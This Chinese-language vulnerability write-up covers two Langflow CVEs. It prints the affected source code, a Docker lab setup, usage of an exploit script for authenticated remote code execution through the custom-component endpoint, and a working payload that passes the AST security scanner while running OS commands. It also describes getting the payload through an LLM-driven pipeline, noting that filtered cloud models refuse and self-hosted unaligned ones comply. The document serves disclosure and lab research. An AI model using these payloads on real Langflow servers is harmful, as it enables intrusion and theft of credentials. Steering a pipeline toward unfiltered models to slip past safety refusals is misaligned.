仅供教育目的使用。仅可用于您拥有或已获得明确书面授权进行测试的系统。
Langflow 是一个开源的低代码平台,用于构建由 LLM 驱动的应用程序和 AI 智能体工作流。它提供可视化的拖拽式界面,用户可以将组件——模型、检索器、工具、记忆、自定义 Python 代码——连接成可执行的工作流。其自定义组件(Custom Component)功能允许用户直接用 Python 定义组件行为,这正是本研究中被利用的攻击面。
2026 年 8 月 5 日,IBM 发布了一份安全公告,披露了一批影响 Langflow OSS 1.0.0 至 1.10.3 版本的漏洞。完整公告见:
本研究聚焦于该批次中的两个 CVE:
| CVE | CVSS | 摘要 |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | 通过 /api/v1/custom_component 实现认证后 RCE——代码直接传入 exec(),无任何安全扫描 |
| CVE-2026-17632 | 8.8 HIGH | AST 安全扫描器绕过——精心构造的 Python 代码通过 scan_code_security() 并返回 is_safe: True,同时执行任意操作系统命令 |
这两个 CVE 均通过对 Langflow 1.10.3 的静态源代码分析独立发现。
本研究在隔离的实验环境中针对自托管的 Langflow 实例进行。所有发现均已负责任地披露。未经明确书面授权,请勿针对任何系统使用本研究内容。
Langflow OSS 1.0.0–1.10.3 中的 POST /api/v1/custom_component 端点接受来自已认证用户的任意 Python 代码,并通过 Python 的 exec() 函数在服务端执行。与 Agentic Assistant 路径不同,该端点在执行前不会调用 scan_code_security() 或任何其他基于 AST 的内容验证器。任何已认证用户只需一个 HTTP 请求即可实现远程代码执行。
CWE-94 — 代码生成控制不当
/api/v1/custom_component 端点源码:langflow/api/v1/endpoints.py — 第 1271 行
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
当 LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true(在生产部署中很常见)时,代码会直接进入 build_custom_component_template(),零内容检查。
prepare_global_scope() 与 ast.Expr执行链最终到达 lfx/custom/validate.py 中的 create_class(),该函数在编译和执行类之前调用 prepare_global_scope():
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
模块级别的裸函数调用(例如 os.system(...))是一个 ast.Expr 节点——它不会被 isinstance 检查匹配,会被静默丢弃。然而,放置在类体内部的代码属于 ClassDef 节点的一部分,当类通过 compile_class_code() 中的 exec() 定义时会被完整执行。
这是关键洞察:payload 必须位于类体内部,而非模块级别。
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
无需 LLM。无需绕过扫描器。单个 HTTP 请求。
| 要求 | 值 |
|---|---|
| 主机操作系统 | Kali Linux(已测试) |
| Docker | CE 5.x + Compose 插件 v2 |
| Langflow 镜像 | langflowai/langflow:1.10.3 |
| 内存 | 容器至少需要 4 GB |
为实验创建一个目录,并将以下内容保存为 docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
启动实验环境:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
使用上面定义的超级用户凭据登录 http://127.0.0.1:7860。访问令牌存储在浏览器 cookie access_token_lf 中。或者,通过 API 获取:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
从响应中复制 access_token 的值。
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
预期输出:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
预期输出:
uid=1000(user) gid=0(root) groups=0(root)
注意: Langflow 1.10.3 在容器内以
uid=1000(user)运行,而非 root。然而,在容器内部该用户属于gid=0(root),从那里向主机或连接的服务(LLM 提供商 API 密钥、数据库凭据、向量存储令牌)进行横向移动是现实的后利用场景。
在分析 Langflow 1.10.3 源代码以理解 CVE-2026-17633 时,也检查了 Agentic Assistant 代码路径。这导致在 langflow/agentic/helpers/code_security.py 中发现了 scan_code_security()——一个基于 AST 的安全扫描器,应用于 LLM 生成的组件代码,在其到达 validate_component_runtime() 之前进行检查。
该扫描器相当复杂:它跟踪导入别名、检测通配符导入、处理 getattr() 反射,并阻止一长串危险调用(os.system、subprocess、exec、eval、__import__ 等)。
对 DANGEROUS_CALLS 的仔细分析揭示了一个缺失条目:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() 缺失。在 create_class() 的 exec() 上下文中,vars() 返回 exec_globals,其中包含从 validate.py 的模块全局变量继承而来的 importlib。此外,["__builtins__"] 是下标访问(ast.Subscript),而非属性访问(ast.Attribute),因此 visit_Attribute() 和 DANGEROUS_DUNDER_ATTRS 永远不会检查它。
is_safe: True以下 payload 通过 scan_code_security(),零违规:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
在容器内直接针对扫描器验证:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
输出:
is_safe: True
violations: ()
RCE 执行也通过在 create_class() 所使用的同一 exec() 上下文中直接运行绕过代码得到确认:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
/tmp/pwned.txt 中的输出:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 通过 Agentic Assistant 路径利用:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
投递机制要求 LLM 在其响应中逐字复现绕过 payload。在实践中,带有内容安全过滤器的云端托管 LLM(OpenAI、Anthropic、大多数 OpenRouter 免费模型)会拒绝输出包含 __import__、os.system 或类似模式的 payload,即使以安全研究或文档的名义提出请求。
这也是现实世界利用中的一个实际约束:攻击者针对配置了云端 LLM 提供商的 Langflow 实例时,会面临相同的内容过滤器。该漏洞对于使用自托管模型(Ollama、vLLM、LM Studio)或未经安全对齐的私有微调模型的部署是完全可利用的——而这些在企业 Langflow 部署中占相当大的比例。
AST 扫描器绕过(is_safe: True)和 exec() RCE 已独立确认。通过 LLM 的端到端投递链是 CVE-2026-17632 的待研究项。
研究在隔离的实验环境中针对 Langflow OSS 1.10.3 进行。 IBM 安全公告:https://www.ibm.com/support/pages/node/7282646